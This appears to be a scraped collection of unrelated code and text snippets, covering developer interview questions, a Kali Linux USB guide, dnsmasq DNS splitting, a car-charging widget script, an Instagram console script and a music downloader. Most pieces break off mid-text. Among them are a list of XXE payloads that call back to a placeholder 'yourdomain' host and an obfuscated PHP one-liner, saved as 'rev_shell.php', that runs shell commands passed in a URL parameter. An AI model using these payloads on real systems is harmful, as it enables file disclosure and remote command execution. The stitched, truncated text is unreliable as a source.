❂ duraki

I bundled these up into groups and wrote some thoughts about why I ask them!

If these helped you, I'd love to hear about it!! I'm on twitter @vcarl_ or send me an email carl.vitullo@gmail.com

Onboarding and the workplace

https://blog.vcarl.com/interview-questions-onboarding-workplace/

How long will it take to deploy my first change? To become productive? To understand the codebase?
What kind of equipment will I be provided? Will the company pay/reimburse me if I want something specific?

Kali Linux Bootable USB with Persistence and Wireless on OSX

Download the appropriate Kali Linux .iso

Download site: https://www.kali.org/downloads/

I used a 64 bit .iso image, downloaded via HTTP. I downloaded the amd64 weekly version, as the pool linux headers (needed below for installation of wireless drivers) were ahead of the stable release kernel.

Download the SHA256SUMS and SHA256SUMS.gpg files from the same location.

Introduction

Sometimes you may want to use a DNS server for specific domain requests and another DNS server for all other requests. This is helpful, for instance, when connected to a VPN. For hosts behind that VPN you want to use the VPN's DNS server but all other hosts you want to use Google's public DNS. This is called "DNS splitting."

Here, we run dnsmasq as a background service on macOS. The dnsmasq configuration described below implements DNS splitting.

Install

brew install dnsmasq

links for old versions of Docker for Mac

Deprecated

Docker provides download links in release note. They promised that

(we) will also include download links in release notes for future releases.

Note:

	// Variables used by Scriptable.
	// These must be at the very top of the file. Do not edit.
	// icon-color: light-gray; icon-glyph: car;
	// version 2025-06-29
	// latest changes:
	// not showing invalid charging kW when not available - thanks to dehsgr! <3

	// add your my-renault account data:
	let myRenaultUser = "your_email" // email
	let myRenaultPass = "your_password" // password

	const apiUrl = "https://pass.telekom.de/api/service/generic/v1/status"

	let widget = await createWidget()
	widget.backgroundColor = new Color("#777777")
	if (!config.runsInWidget) {
	await widget.presentSmall()
	}

	Script.setWidget(widget)
	Script.complete()

	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x />
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x />
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y

	// Run GOOGLE CHROME - WORKING AS OF SEPTEMBER 19 2026
	// Please @ me in the comments if this stops working, I will try to get it working again within the week/month
	//
	// INSTRUCTIONS
	// 1. Open Instagram in Chrome
	// 2. Click on "FOLLOWING" on your Instagram profile
	// 3. Right click the page, click "INSPECT", open the "Console" tab
	// 4. Paste this script and press enter
	// 5. Keep the tab focused. Chrome throttles timers in background tabs.
	// Open it in its own window and leave it on screen.

	<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;

	/*
	* In terminal:
	* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
	* This is how the code will be produced, \xa0\xb8\xba\xab will be
	* treated as constant therefore no " needed. It is also not copyable
	* string because of non-ascii characters
	*
	* Explanation:

	#!/usr/bin/python
	# -- coding: utf-8 --
	'''
	This is a little script to download every song from every playlist
	if your Google Play Music account. Songs are organized as follows:
	<playlist>/<artist>/<album>/<song>.mp3

	I Highly recomend putting this file in your %USER%\Music folder
	before running.